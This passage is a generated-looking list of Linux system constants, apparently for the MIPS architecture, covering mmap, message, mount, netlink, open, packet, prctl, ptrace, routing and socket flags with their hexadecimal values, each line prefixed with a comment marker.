-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x2000
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
